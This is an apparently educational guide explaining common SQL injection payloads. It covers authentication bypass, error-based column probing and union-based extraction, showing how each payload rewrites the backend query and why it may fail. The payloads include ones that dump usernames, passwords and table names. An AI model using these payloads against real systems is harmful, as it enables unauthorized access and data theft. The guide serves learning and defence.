Understanding SQL Injection Payloads

A guide to understanding the logic behind common SQL injection payloads and what happens in the backend.

Niteesh Deshmukh

What is SQL Injection ?

SQL Injection (SQLi) is a security vulnerability that allows an attacker to interfere with the queries an application makes to its database. It happens when user input is improperly handled and inserted directly into SQL statements, allowing the attacker to manipulate the query's logic.

Why Does This Matter?

If exploited, SQLi can lead to unauthorized data access, data modification, or even complete system compromise. It remains one of the most common and critical vulnerabilities in web applications.

What Will You Learn in This Guide?

When I started learning SQL injection, I noticed many cheat sheets just list payloads without explaining how they actually work inside the database. I found myself using payloads blindly, without understanding the backend logic. As a result, many payloads failed, and although some succeeded, it didn't feel rewarding – like I was just brute forcing without truly grasping what was happening behind the scenes.

That's why I created this guide: to break down common beginner to moderate SQL injection payloads by showing what the payload looks like, how the backend SQL query changes, and why the payload works or sometimes doesn't.

My goal is to help you and me understand the *logic* behind these payloads.

If you're a beginner, I hope this helps you get a more practical grasp on SQL injection beyond just memorizing payloads.

I will create a separate guide for advanced payloads.

Basic Authentication Bypass Payloads

Many web applications allow users to log in with a username and password. If the application inserts user inputs directly into SQL queries without proper sanitization, attackers can manipulate the query to bypass authentication.

Let’s look at some common payloads used to bypass login checks.

Payload 1: `' OR 1=1--`

Backend Behavior:

Assume the backend runs this query:

```sql
SELECT * FROM users WHERE username = '$input' AND password = '$pass';
```

If an attacker enters the username as: `' OR 1=1--`

Then the query becomes:

```sql
SELECT * FROM users WHERE username = '' OR 1=1--' AND password =
'any_password';
```

Here, `--` comments out the rest of the query, so the effective condition is:

```sql
WHERE username = '' OR 1=1
```

Why It Works:

- `1=1` is always true, so the WHERE clause always succeeds.
- The `--` comment disables the rest of the query (password check).

- The query returns user data regardless of the password.

Why It Might Fail:

- The application uses prepared statements or parameterized queries.
- Input filtering or WAF blocks keywords like `OR` or `--`.
- The backend validates or sanitizes input before building the query.
- Password check is done separately or through other means.

Payload 2: `' OR 'a'='a'--`

Backend Behavior:

Using the same query template, username is: `' OR 'a'='a'--`

Resulting query:

```
SELECT * FROM users WHERE username = '' OR 'a'='a'--' AND password =
'any_password';
```

Why It Works:

- `'a'='a'` is a tautology — always true.
- This payload sometimes bypasses numeric input filters blocking `1=1`.
- Comment `--` disables the password check.

Why It Might Fail:

- Application filters out single quotes or comment syntax.
- Prepared statements prevent injection.
- WAF or IDS blocks suspicious patterns.

Payload 3: `admin'--`

Backend Behavior:

If username is: `admin'--`

Query becomes:

```
SELECT * FROM users WHERE username = 'admin'--' AND password = 'any_password';
```

Why It Works:

- The `--` comments out the password check.
- If `admin` exists in the database, the attacker bypasses authentication.

Why It Might Fail:

- Password is verified independently outside this query.
- Input sanitization removes or escapes quotes/comments.
- Application uses prepared statements.

Payload 4: `' and 1=1--`

Backend Behavior:

Assuming the same query template:

```
SELECT * FROM users WHERE username = '$input' AND password = '$pass';
```

If the attacker inputs: `' and 1=1--`

The query becomes:

```
SELECT * FROM users WHERE username = '' and 1=1--' AND password =
'any_password';
```

Due to the -- comment, the password condition is ignored, and the query effectively checks:

```
WHERE username = '' and 1=1
```

Since `1=1` is true, but the username is empty (`''`), this payload might not always work unless there is a user with an empty username.

Why It Works:

- The comment (`--`) disables the password check.
- The `1=1` is always true, but because it's combined with `username = ''` using `AND`, both conditions must be true.

- If the username check passes or is loosely handled, it may grant access.

Why It Might Fail:

- Since `AND` requires both conditions to be true, username must be empty or ignored.
- If username `''` does not exist, the query returns no rows.
- Input sanitization or prepared statements prevent injection.
- Filters blocking `--` or `1=1`.

Error-Based SQL Injection

Sometimes, when the application is not handling SQL errors properly, attackers can use **deliberate syntax errors** to trigger database error messages. These errors often leak **useful backend details** like table names, column names, or even version info.

In this section, we'll look at payloads that intentionally cause SQL errors to extract information.

Payload 1: `'`

Backend Working:

This payload introduces an unescaped single quote into the SQL query.

For example:

```
SELECT * FROM users WHERE username = '';
```

becomes

```
SELECT * FROM users WHERE username = ''';
```

Why It Works:

- The database throws a syntax error, often revealing:
    - The type of database
    - The vulnerable parameter
    - Hints about the query structure

Why It May Fail:

- The application may **suppress error messages** or display a generic error page.
- Web Application Firewalls (WAFs) or input filters might **block single quotes**.
- Prepared statements might prevent the query from breaking.

Payload 2: `' ORDER BY 5--`

Backend Working:

This payload appends an `ORDER BY` clause to test how many columns are present in the query:

```
SELECT id, username FROM users ORDER BY 5;
```

If the query only has two columns, ordering by the 5th will cause an error.

Why It Works:

- You can use this to **enumerate the number of columns** in the result set by gradually increasing the number.
- A successful `ORDER BY` means that many columns exist.
- An error tells you you've gone too far.

Why It May Fail:

- The application might **sanitize numeric input** or disallow modifying the `ORDER BY`.
- Error messages may not be visible to the user.
- Some queries may not use `ORDER BY` at all, making this irrelevant.

Union-based SQL Injection

Union-based SQLi leverages the `UNION` SQL operator to combine the result of the original query with one crafted by the attacker. It’s a powerful technique to extract data like usernames, passwords, or even entire tables from the database – if the column counts and types align.

Payload 1: `' UNION SELECT NULL-- -`

Backend Behavior:

Assuming a query like:

```
SELECT name FROM users WHERE id = '$input';
```

If the attacker inputs: `' UNION SELECT NULL-- -`

The query becomes:

```
SELECT name FROM users WHERE id = '' UNION SELECT NULL-- -;
```

Here, the original query is terminated, and `UNION SELECT NULL` is appended.

Why It Works:

- It's a quick test to check if the `UNION` keyword is accepted and how many columns are expected.
- If the column count is 1, this will execute cleanly, possibly showing a `NULL` or blank output.

Why It Might Fail:

- If the column count of the original query is not equal to the number of columns in the payload.
- If the application does not reflect output to the user.
- If the DBMS or WAF filters `UNION`.
- If there are strict datatype constraints (e.g., expecting a string, but `NULL` is treated as `int`).

Payload 2: `' UNION SELECT 1,2,3-- -`

Backend Behavior:

Assuming the original query:

```
SELECT id, name, email FROM users WHERE id = '$input';
```

If attacker inputs: `' UNION SELECT 1,2,3-- -`

The query becomes:

```
SELECT id, name, email FROM users WHERE id = '' UNION SELECT 1,2,3-- -;
```

Why It Works:

- Helps find the correct number of columns.
- Helps identify which column outputs are reflected (1, 2, or 3).

Why It Might Fail:

- If the original query has fewer or more columns.
- Data type mismatch (e.g., DB expects a `VARCHAR`, but receives an `INT`).
- Output of injected part not visible on page.

Payload 3: `' UNION SELECT username, password FROM users-- -`

Backend Behavior:

Assuming:

```
SELECT id, name FROM products WHERE id = '$input';
```

And attacker injects: `' UNION SELECT username, password FROM users-- -`

Then the query becomes:

```
SELECT id, name FROM products WHERE id = '' UNION SELECT username, password
FROM users-- -;
```

Why It Works:

- Once the correct number and types of columns are known, this can be used to extract data like usernames and passwords.

Why It Might Fail:

- The count of the columns mismatch.
- `users` table or columns don't exist.
- Lack of output reflection.
- Permissions on `users` table denied.
- WAF blocks access to sensitive tables.

Payload 4: `' UNION SELECT table_name, NULL FROM information_schema.tables-- -`

Backend Behavior:

Assuming the original query:

```
SELECT id, name FROM products WHERE id = '$input';
```

After injecting it becomes:

```
SELECT id, name FROM products WHERE id = '' UNION SELECT table_name, NULL FROM
information_schema.tables-- -;
```

This attempts to dump all table names from the database.

Why It Works:

- `information_schema.tables` stores metadata about all tables in the database.
- Useful for identifying sensitive tables like `users`, `logins`, etc.

Why It Might Fail:

- Some databases (or user roles) do not allow querying `information_schema`.
- Column count/type mismatch.
- Output not shown to user.
- WAFs or custom filtering block access to metadata tables.

Conclusion

This guide reflects my ongoing learning process with SQL Injection. I’ve tried to explain how common payloads work and why they might fail and tried to present them in a beginner friendly way, but I’m still learning and may have missed some details.

If you find any mistakes or have suggestions, I’d appreciate your feedback. My goal is to improve and share knowledge.